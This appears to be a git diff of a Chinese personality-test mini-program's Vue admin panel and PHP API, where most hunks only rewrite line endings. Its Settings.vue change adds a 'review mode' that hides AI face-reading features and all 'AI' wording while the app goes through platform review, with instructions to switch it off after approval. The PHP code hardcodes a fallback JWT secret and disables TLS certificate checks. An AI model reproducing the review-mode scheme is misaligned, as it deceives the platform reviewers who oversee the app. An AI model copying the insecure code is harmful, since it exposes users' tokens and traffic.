b/admin/src/views/superadmin/Distribution.vue index 2368530..571e8d9 100644 --- a/admin/src/views/superadmin/Distribution.vue +++ b/admin/src/views/superadmin/Distribution.vue @@ -1,694 +1,694 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Enterprises.vue b/admin/src/views/superadmin/Enterprises.vue index 531a44f..c059410 100644 --- a/admin/src/views/superadmin/Enterprises.vue +++ b/admin/src/views/superadmin/Enterprises.vue @@ -1,1215 +1,1215 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Finance.vue b/admin/src/views/superadmin/Finance.vue index b8ef831..635695a 100644 --- a/admin/src/views/superadmin/Finance.vue +++ b/admin/src/views/superadmin/Finance.vue @@ -1,933 +1,933 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Login.vue b/admin/src/views/superadmin/Login.vue index 6e67378..5644487 100644 --- a/admin/src/views/superadmin/Login.vue +++ b/admin/src/views/superadmin/Login.vue @@ -1,254 +1,254 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Overview.vue b/admin/src/views/superadmin/Overview.vue index 6502bfd..9f1db0c 100644 --- a/admin/src/views/superadmin/Overview.vue +++ b/admin/src/views/superadmin/Overview.vue @@ -1,824 +1,824 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/PosterEditor.vue b/admin/src/views/superadmin/PosterEditor.vue index 87e6517..a539170 100644 --- a/admin/src/views/superadmin/PosterEditor.vue +++ b/admin/src/views/superadmin/PosterEditor.vue @@ -1,985 +1,985 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Pricing.vue b/admin/src/views/superadmin/Pricing.vue index 82beb54..e7fe14b 100644 --- a/admin/src/views/superadmin/Pricing.vue +++ b/admin/src/views/superadmin/Pricing.vue @@ -1,1072 +1,1072 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Questions.vue b/admin/src/views/superadmin/Questions.vue index 3151bd6..56e74c8 100644 --- a/admin/src/views/superadmin/Questions.vue +++ b/admin/src/views/superadmin/Questions.vue @@ -1,1116 +1,1116 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Settings.vue b/admin/src/views/superadmin/Settings.vue index 09642bb..bd25a3e 100644 --- a/admin/src/views/superadmin/Settings.vue +++ b/admin/src/views/superadmin/Settings.vue @@ -35,6 +35,93 @@
+ +
+ + +
+
+
+ + {{ reviewMode.enabled ? '审核模式已开启' : '审核模式已关闭' }} +
+

{{ reviewMode.enabled ? '当前小程序处于审核状态,AI面相分析功能已隐藏' : '当前小程序正常运行,所有功能可用' }}

+
+ +
+
+
+

开启审核模式

+

开启后小程序将执行以下变更:

+
+ +
+
+ +
+
+ 隐藏 + 首页「面相分析」「骨相分析」标签 +
+
+ 隐藏 + AI拍照分析入口(相机/上传) +
+
+ 隐藏 + 底部导航「拍照」Tab +
+
+ 隐藏 + 结果页「人工智能生成」标签 +
+
+ 隐藏 + 所有含「AI」字样的文案 +
+
+ 保留 + MBTI / DISC / PDP 问卷测试功能 +
+
+ 保留 + 问卷测试结果展示 +
+
+ 保留 + 用户中心、历史记录等基础功能 +
+
+ +
+ 使用流程:开启审核模式 → 提交小程序代码审核 → 审核通过后关闭审核模式 +
+ + + + {{ reviewMode.enabled ? '保存并开启审核模式' : '保存并关闭审核模式' }} + +
+
+
+
@@ -44,7 +131,7 @@ 系统基础配置
-

管理网站名称、审核模式等基础设置

+

管理网站名称、维护模式等基础设置

@@ -167,8 +254,8 @@
-

审核模式

-

开启后测试结果需管理员审核通过才可展示

+

维护模式

+

开启后前台将显示维护页面

@@ -389,10 +476,11 @@ import { ElMessage } from 'element-plus' import { request } from '@/utils/request' import PosterEditor from './PosterEditor.vue' -const activeTab = ref('system') +const activeTab = ref('review') const saveSuccess = ref(null) const tabs = [ + { label: '审核模式', value: 'review', icon: Document }, { label: '系统配置', value: 'system', icon: Setting }, { label: '通知设置', value: 'notification', icon: Bell }, { label: '提示词配置', value: 'prompts', icon: ChatDotRound }, @@ -400,6 +488,11 @@ const tabs = [ { label: '账户安全', value: 'security', icon: Lock } ] +// 审核模式 +const reviewMode = reactive({ + enabled: false +}) + // 系统配置 const systemConfig = reactive({ siteName: '神仙团队AI性格测试', @@ -451,6 +544,10 @@ const loadSettings = async () => { const response: any = await request.get('/superadmin/settings') if (response.code === 200 && response.data) { + // 加载审核模式 + if (response.data.reviewMode) { + Object.assign(reviewMode, response.data.reviewMode) + } // 加载系统配置 if (response.data.system) { Object.assign(systemConfig, response.data.system) @@ -516,6 +613,17 @@ const handleSave = async (section: string) => { let response: any switch (section) { + case 'review': + response = await request.put('/superadmin/settings/review-mode', { + enabled: reviewMode.enabled + }) + if (response.code === 200) { + ElMessage.success(reviewMode.enabled ? '审核模式已开启,小程序将隐藏AI功能' : '审核模式已关闭,AI功能已恢复') + saveSuccess.value = section + setTimeout(() => { saveSuccess.value = null }, 3000) + } + break + case 'system': response = await request.put('/superadmin/settings/system', { ...systemConfig, @@ -914,4 +1022,103 @@ const handleSave = async (section: string) => { padding: 0; } } + +.review-mode-alert { + padding: 16px 20px; + border-radius: 8px; + background-color: #f0fdf4; + border: 1px solid #bbf7d0; + transition: all 0.3s; + + &.active { + background-color: #fef2f2; + border-color: #fecaca; + } + + .review-mode-status { + display: flex; + align-items: center; + gap: 8px; + margin-bottom: 4px; + } + + .review-dot { + width: 8px; + height: 8px; + border-radius: 50%; + background-color: #22c55e; + + &.on { + background-color: #ef4444; + animation: pulse-dot 1.5s infinite; + } + } + + .review-status-text { + font-size: 15px; + font-weight: 600; + color: #111827; + } + + .review-mode-desc { + font-size: 13px; + color: #6b7280; + margin: 0; + } +} + +@keyframes pulse-dot { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.4; } +} + +.review-changes-list { + display: flex; + flex-direction: column; + gap: 8px; + padding: 12px 0; +} + +.review-change-item { + display: flex; + align-items: center; + gap: 10px; + padding: 8px 12px; + background-color: #f9fafb; + border-radius: 6px; + font-size: 13px; + color: #374151; + + .change-icon { + font-size: 11px; + font-weight: 600; + padding: 2px 8px; + border-radius: 4px; + flex-shrink: 0; + + &.hide { + background-color: #fef2f2; + color: #dc2626; + } + + &.show { + background-color: #f0fdf4; + color: #16a34a; + } + } + + .change-text { + flex: 1; + } +} + +.review-tip { + padding: 12px 16px; + background-color: #fffbeb; + border: 1px solid #fef3c7; + border-radius: 8px; + font-size: 13px; + color: #92400e; + line-height: 1.5; +} diff --git a/admin/src/views/superadmin/Users.vue b/admin/src/views/superadmin/Users.vue index 2d324c4..b46439b 100644 --- a/admin/src/views/superadmin/Users.vue +++ b/admin/src/views/superadmin/Users.vue @@ -1,1961 +1,1961 @@ - - - - - + + + + + diff --git a/admin/src/vite-env.d.ts b/admin/src/vite-env.d.ts index 11f02fe..7d0ff9e 100644 --- a/admin/src/vite-env.d.ts +++ b/admin/src/vite-env.d.ts @@ -1 +1 @@ -/// +/// diff --git a/admin/tsconfig.json b/admin/tsconfig.json index b9477e5..367f88d 100644 --- a/admin/tsconfig.json +++ b/admin/tsconfig.json @@ -1,26 +1,26 @@ -{ - "compilerOptions": { - "target": "ES2020", - "useDefineForClassFields": true, - "module": "ESNext", - "lib": ["ES2020", "DOM", "DOM.Iterable"], - "skipLibCheck": true, - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "resolveJsonModule": true, - "isolatedModules": true, - "noEmit": true, - "jsx": "preserve", - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - } - }, - "include": ["src/**/*.ts", "src/**/*.d.ts", "src/**/*.tsx", "src/**/*.vue"], - "references": [{ "path": "./tsconfig.node.json" }] -} - +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "module": "ESNext", + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "preserve", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"] + } + }, + "include": ["src/**/*.ts", "src/**/*.d.ts", "src/**/*.tsx", "src/**/*.vue"], + "references": [{ "path": "./tsconfig.node.json" }] +} + diff --git a/admin/tsconfig.node.json b/admin/tsconfig.node.json index e428d50..6b51514 100644 --- a/admin/tsconfig.node.json +++ b/admin/tsconfig.node.json @@ -1,11 +1,11 @@ -{ - "compilerOptions": { - "composite": true, - "skipLibCheck": true, - "module": "ESNext", - "moduleResolution": "bundler", - "allowSyntheticDefaultImports": true - }, - "include": ["vite.config.ts"] -} - +{ + "compilerOptions": { + "composite": true, + "skipLibCheck": true, + "module": "ESNext", + "moduleResolution": "bundler", + "allowSyntheticDefaultImports": true + }, + "include": ["vite.config.ts"] +} + diff --git a/admin/vite.config.ts b/admin/vite.config.ts index bd1fddd..f1790b4 100644 --- a/admin/vite.config.ts +++ b/admin/vite.config.ts @@ -1,52 +1,52 @@ -import { fileURLToPath, URL } from 'node:url' -import { defineConfig } from 'vite' -import vue from '@vitejs/plugin-vue' -import AutoImport from 'unplugin-auto-import/vite' -import Components from 'unplugin-vue-components/vite' -import { ElementPlusResolver } from 'unplugin-vue-components/resolvers' - -export default defineConfig({ - css: { - preprocessorOptions: { - scss: { silenceDeprecations: ['legacy-js-api'] }, - sass: { silenceDeprecations: ['legacy-js-api'] } - } - }, - build: { - chunkSizeWarningLimit: 1200 - }, - plugins: [ - vue(), - AutoImport({ - imports: ['vue', 'vue-router', 'pinia'], - resolvers: [ElementPlusResolver()], - dts: 'src/auto-imports.d.ts', - }), - Components({ - resolvers: [ElementPlusResolver()], - dts: 'src/components.d.ts', - }), - ], - resolve: { - alias: { - '@': fileURLToPath(new URL('./src', import.meta.url)) - } - }, - server: { - host: '0.0.0.0', // 允许局域网访问 - port: 5173, // 首选端口 - strictPort: false, // 如果端口被占用,自动尝试下一个可用端口 - proxy: { - '/api': { - // 如果 VITE_API_BASE_URL 是完整URL,则不使用代理 - // 否则代理到测试服务器 - // 注意:在vite.config.ts中无法直接访问import.meta.env - // 这里使用默认代理配置,实际请求会根据VITE_API_BASE_URL决定 - target: 'http://test.mbti.com', // 本地开发代理到测试环境 - changeOrigin: true, - rewrite: (path) => path, // 保持路径不变 - } - } - } -}) - +import { fileURLToPath, URL } from 'node:url' +import { defineConfig } from 'vite' +import vue from '@vitejs/plugin-vue' +import AutoImport from 'unplugin-auto-import/vite' +import Components from 'unplugin-vue-components/vite' +import { ElementPlusResolver } from 'unplugin-vue-components/resolvers' + +export default defineConfig({ + css: { + preprocessorOptions: { + scss: { silenceDeprecations: ['legacy-js-api'] }, + sass: { silenceDeprecations: ['legacy-js-api'] } + } + }, + build: { + chunkSizeWarningLimit: 1200 + }, + plugins: [ + vue(), + AutoImport({ + imports: ['vue', 'vue-router', 'pinia'], + resolvers: [ElementPlusResolver()], + dts: 'src/auto-imports.d.ts', + }), + Components({ + resolvers: [ElementPlusResolver()], + dts: 'src/components.d.ts', + }), + ], + resolve: { + alias: { + '@': fileURLToPath(new URL('./src', import.meta.url)) + } + }, + server: { + host: '0.0.0.0', // 允许局域网访问 + port: 5173, // 首选端口 + strictPort: false, // 如果端口被占用,自动尝试下一个可用端口 + proxy: { + '/api': { + // 如果 VITE_API_BASE_URL 是完整URL,则不使用代理 + // 否则代理到测试服务器 + // 注意:在vite.config.ts中无法直接访问import.meta.env + // 这里使用默认代理配置,实际请求会根据VITE_API_BASE_URL决定 + target: 'http://test.mbti.com', // 本地开发代理到测试环境 + changeOrigin: true, + rewrite: (path) => path, // 保持路径不变 + } + } + } +}) + diff --git a/api/app/BaseController.php b/api/app/BaseController.php index 4f85f99..be3310b 100644 --- a/api/app/BaseController.php +++ b/api/app/BaseController.php @@ -1,121 +1,121 @@ -app = $app; - $this->request = $this->app->request; - - // 控制器初始化 - $this->initialize(); - } - - // 初始化 - protected function initialize() - {} - - /** - * 验证数据 - * @access protected - * @param array $data 数据 - * @param string|array $validate 验证器名或者验证规则数组 - * @param array $message 提示信息 - * @param bool $batch 是否批量验证 - * @return array|string|true - * @throws ValidateException - */ - /** - * 从请求中解析当前登录用户(兼容中间件注入和 JWT 直接解析两种方式) - */ - protected function resolveUser(): ?array - { - $user = $this->request->user ?? null; - if ($user) { - return is_array($user) ? $user : (array) $user; - } - - $token = JwtService::getTokenFromRequest($this->request); - if (!$token) { - return null; - } - - $payload = JwtService::verifyToken($token); - if (!$payload) { - return null; - } - - return [ - 'source' => $payload['source'] ?? '', - 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, - 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, - ]; - } - - protected function validate(array $data, $validate, array $message = [], bool $batch = false) - { - if (is_array($validate)) { - $v = new Validate(); - $v->rule($validate); - } else { - if (strpos($validate, '.')) { - // 支持场景 - [$validate, $scene] = explode('.', $validate); - } - $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); - $v = new $class(); - if (!empty($scene)) { - $v->scene($scene); - } - } - - $v->message($message); - - // 是否批量验证 - if ($batch || $this->batchValidate) { - $v->batch(true); - } - - return $v->failException(true)->check($data); - } -} - - +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + /** + * 从请求中解析当前登录用户(兼容中间件注入和 JWT 直接解析两种方式) + */ + protected function resolveUser(): ?array + { + $user = $this->request->user ?? null; + if ($user) { + return is_array($user) ? $user : (array) $user; + } + + $token = JwtService::getTokenFromRequest($this->request); + if (!$token) { + return null; + } + + $payload = JwtService::verifyToken($token); + if (!$payload) { + return null; + } + + return [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch || $this->batchValidate) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + + diff --git a/api/app/common.php b/api/app/common.php index f9b2487..41f3dc3 100644 --- a/api/app/common.php +++ b/api/app/common.php @@ -1,171 +1,171 @@ - $code, - 'message' => $message, - 'data' => $data - ]); -} - -/** - * 成功响应 - * @param mixed $data 数据 - * @param string $message 消息 - * @return \think\response\Json - */ -function success($data = null, $message = 'success') -{ - return json_response(200, $message, $data); -} - -/** - * 错误响应 - * @param string $message 错误消息 - * @param int $code 错误码 - * @return \think\response\Json - */ -function error($message = 'error', $code = 400) -{ - return json_response($code, $message, null); -} - -/** - * 分页响应 - * @param array $list 列表数据 - * @param int $total 总数 - * @param int $page 当前页 - * @param int $pageSize 每页数量 - * @return \think\response\Json - */ -function paginate_response($list, $total, $page = 1, $pageSize = 10) -{ - return success([ - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - 'hasMore' => ($page * $pageSize) < $total - ]); -} - -if (!function_exists('requestCurl')) { - /** - * @param string $url 请求的链接 - * @param array $params 请求附带的参数 - * @param string $method 请求的方式, 支持GET, POST, PUT, DELETE等 - * @param array $header 头部 - * @param string $type 数据类型,支持dataBuild、json等 - * @return bool|string - */ - function requestCurl($url, $params = [], $method = 'GET', $header = [], $type = 'dataBuild') - { - $str = ''; - if (!empty($url)) { - try { - $ch = curl_init(); - - // 处理GET请求的参数 - if (strtoupper($method) == 'GET' && !empty($params)) { - $url = $url . '?' . dataBuild($params); - } - - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_HEADER, 0); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_TIMEOUT, 30); //30秒超时 - curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); - curl_setopt($ch, CURLOPT_HTTPHEADER, $header); - - // 处理不同的请求方法 - if (strtoupper($method) != 'GET') { - // 设置请求方法 - curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method)); - - // 处理参数格式 - if ($type == 'dataBuild') { - $params = dataBuild($params); - } elseif ($type == 'json') { - $params = json_encode($params); - } else { - $params = dataBuild($params); - } - - // 设置请求体 - curl_setopt($ch, CURLOPT_POSTFIELDS, $params); - } - - curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //是否验证对等证书,1则验证,0则不验证 - curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); - $str = curl_exec($ch); - curl_close($ch); - } catch (Exception $e) { - $str = ''; - } - } - return $str; - } -} - - -if (!function_exists('dataBuild')) { - function dataBuild($array) - { - if (!is_array($array)) { - return $array; - } - - // 处理嵌套数组 - foreach ($array as $key => $value) { - if (is_array($value)) { - $array[$key] = json_encode($value); - } - } - - return http_build_query($array); - } -} - - -if (!function_exists('setHeader')) { - /** - * 设置头部 - * - * @param array $headerData 头部数组 - * @param string $authorization - * @param string $type 类型 默认json (json,plain) - * @return array - */ - function setHeader($headerData = [], $authorization = '', $type = '') - { - $header = $headerData; - - switch ($type) { - case 'json': - $header[] = 'Content-Type:application/json'; - break; - case 'html' : - $header[] = 'Content-Type:text/html'; - break; - case 'plain' : - $header[] = 'Content-Type:text/plain'; - break; - default: - $header[] = 'Content-Type:application/json'; - } -// $header[] = $type == 'plain' ? 'Content-Type:text/plain' : 'Content-Type: application/json'; - if ($authorization !== "") $header[] = 'Authorization:Bearer ' . $authorization; - return $header; - } -} - - + $code, + 'message' => $message, + 'data' => $data + ]); +} + +/** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ +function success($data = null, $message = 'success') +{ + return json_response(200, $message, $data); +} + +/** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ +function error($message = 'error', $code = 400) +{ + return json_response($code, $message, null); +} + +/** + * 分页响应 + * @param array $list 列表数据 + * @param int $total 总数 + * @param int $page 当前页 + * @param int $pageSize 每页数量 + * @return \think\response\Json + */ +function paginate_response($list, $total, $page = 1, $pageSize = 10) +{ + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'hasMore' => ($page * $pageSize) < $total + ]); +} + +if (!function_exists('requestCurl')) { + /** + * @param string $url 请求的链接 + * @param array $params 请求附带的参数 + * @param string $method 请求的方式, 支持GET, POST, PUT, DELETE等 + * @param array $header 头部 + * @param string $type 数据类型,支持dataBuild、json等 + * @return bool|string + */ + function requestCurl($url, $params = [], $method = 'GET', $header = [], $type = 'dataBuild') + { + $str = ''; + if (!empty($url)) { + try { + $ch = curl_init(); + + // 处理GET请求的参数 + if (strtoupper($method) == 'GET' && !empty($params)) { + $url = $url . '?' . dataBuild($params); + } + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); //30秒超时 + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + + // 处理不同的请求方法 + if (strtoupper($method) != 'GET') { + // 设置请求方法 + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method)); + + // 处理参数格式 + if ($type == 'dataBuild') { + $params = dataBuild($params); + } elseif ($type == 'json') { + $params = json_encode($params); + } else { + $params = dataBuild($params); + } + + // 设置请求体 + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + } + + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //是否验证对等证书,1则验证,0则不验证 + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + $str = curl_exec($ch); + curl_close($ch); + } catch (Exception $e) { + $str = ''; + } + } + return $str; + } +} + + +if (!function_exists('dataBuild')) { + function dataBuild($array) + { + if (!is_array($array)) { + return $array; + } + + // 处理嵌套数组 + foreach ($array as $key => $value) { + if (is_array($value)) { + $array[$key] = json_encode($value); + } + } + + return http_build_query($array); + } +} + + +if (!function_exists('setHeader')) { + /** + * 设置头部 + * + * @param array $headerData 头部数组 + * @param string $authorization + * @param string $type 类型 默认json (json,plain) + * @return array + */ + function setHeader($headerData = [], $authorization = '', $type = '') + { + $header = $headerData; + + switch ($type) { + case 'json': + $header[] = 'Content-Type:application/json'; + break; + case 'html' : + $header[] = 'Content-Type:text/html'; + break; + case 'plain' : + $header[] = 'Content-Type:text/plain'; + break; + default: + $header[] = 'Content-Type:application/json'; + } +// $header[] = $type == 'plain' ? 'Content-Type:text/plain' : 'Content-Type: application/json'; + if ($authorization !== "") $header[] = 'Authorization:Bearer ' . $authorization; + return $header; + } +} + + diff --git a/api/app/common/controller/BaseController.php b/api/app/common/controller/BaseController.php index c0d2fe3..fb5f7be 100644 --- a/api/app/common/controller/BaseController.php +++ b/api/app/common/controller/BaseController.php @@ -1,124 +1,124 @@ -app = $app; - $this->request = $this->app->request; - - // 控制器初始化 - $this->initialize(); - } - - // 初始化 - protected function initialize() - {} - - /** - * 成功响应 - * @param mixed $data 数据 - * @param string $message 消息 - * @return \think\response\Json - */ - protected function success($data = null, $message = 'success') - { - $response = Response::create([ - 'code' => 200, - 'message' => $message, - 'data' => $data - ], 'json')->code(200); - - $response->header([ - 'Content-Type' => 'application/json; charset=utf-8' - ]); - - return $response; - } - - /** - * 错误响应 - * @param string $message 错误消息 - * @param int $code 错误码 - * @return \think\response\Json - */ - protected function error($message = 'error', $code = 400) - { - $response = Response::create([ - 'code' => $code, - 'message' => $message, - 'data' => null - ], 'json')->code($code); - - $response->header([ - 'Content-Type' => 'application/json; charset=utf-8' - ]); - - return $response; - } - - /** - * 验证数据 - * @access protected - * @param array $data 数据 - * @param string|array $validate 验证器名或者验证规则数组 - * @param array $message 提示信息 - * @param bool $batch 是否批量验证 - * @return array|string|true - * @throws ValidateException - */ - protected function validate(array $data, $validate, array $message = [], bool $batch = false) - { - if (is_array($validate)) { - $v = new Validate(); - $v->rule($validate); - } else { - if (strpos($validate, '.')) { - // 支持场景 - [$validate, $scene] = explode('.', $validate); - } - $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); - $v = new $class(); - if (!empty($scene)) { - $v->scene($scene); - } - } - - $v->message($message); - - // 是否批量验证 - if ($batch) { - $v->batch(true); - } - - return $v->failException(true)->check($data); - } -} - +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ + protected function success($data = null, $message = 'success') + { + $response = Response::create([ + 'code' => 200, + 'message' => $message, + 'data' => $data + ], 'json')->code(200); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ + protected function error($message = 'error', $code = 400) + { + $response = Response::create([ + 'code' => $code, + 'message' => $message, + 'data' => null + ], 'json')->code($code); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + diff --git a/api/app/common/service/JwtService.php b/api/app/common/service/JwtService.php index a4dc3af..ab62a4a 100644 --- a/api/app/common/service/JwtService.php +++ b/api/app/common/service/JwtService.php @@ -1,132 +1,132 @@ - 'JWT', 'alg' => 'HS256'])); - $payloadStr = base64_encode(json_encode($payload)); - $signature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); - - $token = $header . '.' . $payloadStr . '.' . $signature; - - // 将Token存储到缓存(用于刷新和注销),带 source 区分小程序用户与管理员 - $userId = $payload['userId'] ?? $payload['user_id'] ?? null; - if ($userId !== null) { - $key = self::tokenCacheKey($userId, $payload['source'] ?? null); - Cache::set($key, $token, $expire); - } - - return $token; - } - - /** - * 验证Token - * @param string $token - * @return array|false 返回载荷数据或false - */ - public static function verifyToken(string $token) - { - $parts = explode('.', $token); - if (count($parts) !== 3) { - return false; - } - - [$header, $payloadStr, $signature] = $parts; - - // 验证签名 - $secret = config('jwt.secret', 'mbti_jwt_secret_key_2024'); - $expectedSignature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); - - if ($signature !== $expectedSignature) { - return false; - } - - // 解析载荷 - $payload = json_decode(base64_decode($payloadStr), true); - if (!$payload) { - return false; - } - - // 检查过期时间 - if (isset($payload['exp']) && $payload['exp'] < time()) { - return false; - } - - return $payload; - } - - /** - * 刷新Token - * @param string $token - * @return string|false 返回新Token或false - */ - public static function refreshToken(string $token) - { - $payload = self::verifyToken($token); - if (!$payload) { - return false; - } - - // 移除过期时间字段,重新生成 - unset($payload['exp'], $payload['iat']); - - return self::generateToken($payload); - } - - /** - * Token 缓存键(区分来源,避免与管理员同 id 冲突) - */ - public static function tokenCacheKey($userId, ?string $source = null): string - { - $prefix = $source ? 'jwt_token_' . $source . '_' : 'jwt_token_'; - return $prefix . $userId; - } - - /** - * 删除Token(注销) - * @param int $userId - * @param string|null $source 来源,如 wechat,不传则按管理员 token 键删除 - * @return bool - */ - public static function deleteToken(int $userId, ?string $source = null): bool - { - return Cache::delete(self::tokenCacheKey($userId, $source)); - } - - /** - * 从请求头获取Token - * @param \think\Request $request - * @return string|null - */ - public static function getTokenFromRequest($request): ?string - { - $authorization = $request->header('Authorization', ''); - - if ($authorization && preg_match('/Bearer\s+(.*)$/i', $authorization, $matches)) { - return $matches[1]; - } - - return null; - } -} - + 'JWT', 'alg' => 'HS256'])); + $payloadStr = base64_encode(json_encode($payload)); + $signature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + $token = $header . '.' . $payloadStr . '.' . $signature; + + // 将Token存储到缓存(用于刷新和注销),带 source 区分小程序用户与管理员 + $userId = $payload['userId'] ?? $payload['user_id'] ?? null; + if ($userId !== null) { + $key = self::tokenCacheKey($userId, $payload['source'] ?? null); + Cache::set($key, $token, $expire); + } + + return $token; + } + + /** + * 验证Token + * @param string $token + * @return array|false 返回载荷数据或false + */ + public static function verifyToken(string $token) + { + $parts = explode('.', $token); + if (count($parts) !== 3) { + return false; + } + + [$header, $payloadStr, $signature] = $parts; + + // 验证签名 + $secret = config('jwt.secret', 'mbti_jwt_secret_key_2024'); + $expectedSignature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + if ($signature !== $expectedSignature) { + return false; + } + + // 解析载荷 + $payload = json_decode(base64_decode($payloadStr), true); + if (!$payload) { + return false; + } + + // 检查过期时间 + if (isset($payload['exp']) && $payload['exp'] < time()) { + return false; + } + + return $payload; + } + + /** + * 刷新Token + * @param string $token + * @return string|false 返回新Token或false + */ + public static function refreshToken(string $token) + { + $payload = self::verifyToken($token); + if (!$payload) { + return false; + } + + // 移除过期时间字段,重新生成 + unset($payload['exp'], $payload['iat']); + + return self::generateToken($payload); + } + + /** + * Token 缓存键(区分来源,避免与管理员同 id 冲突) + */ + public static function tokenCacheKey($userId, ?string $source = null): string + { + $prefix = $source ? 'jwt_token_' . $source . '_' : 'jwt_token_'; + return $prefix . $userId; + } + + /** + * 删除Token(注销) + * @param int $userId + * @param string|null $source 来源,如 wechat,不传则按管理员 token 键删除 + * @return bool + */ + public static function deleteToken(int $userId, ?string $source = null): bool + { + return Cache::delete(self::tokenCacheKey($userId, $source)); + } + + /** + * 从请求头获取Token + * @param \think\Request $request + * @return string|null + */ + public static function getTokenFromRequest($request): ?string + { + $authorization = $request->header('Authorization', ''); + + if ($authorization && preg_match('/Bearer\s+(.*)$/i', $authorization, $matches)) { + return $matches[1]; + } + + return null; + } +} + diff --git a/api/app/common/service/PosterService.php b/api/app/common/service/PosterService.php index 77ef301..e3e0e37 100644 --- a/api/app/common/service/PosterService.php +++ b/api/app/common/service/PosterService.php @@ -1,612 +1,612 @@ - [显示名, 文件名] - * 文件存放于 public/fonts/ 目录 - */ - private const FONT_MAP = [ - 'noto-sans' => ['思源黑体', 'NotoSansCJKsc-Regular.otf'], - 'noto-serif' => ['思源宋体', 'NotoSerifCJKsc-Regular.otf'], - 'alimama' => ['阿里妈妈方圆体', 'AlimamaFangYuanTiVF.ttf'], - 'wqy-microhei' => ['文泉驿微米黑', 'wqy-microhei.ttc'], - ]; - - /** - * 返回服务器上实际可用的字体列表 - * @return array [ ['key'=>'noto-sans','name'=>'思源黑体'], ... ] - */ - public static function getAvailableFonts(): array - { - $base = root_path() . 'public/fonts/'; - $list = []; - foreach (self::FONT_MAP as $key => [$name, 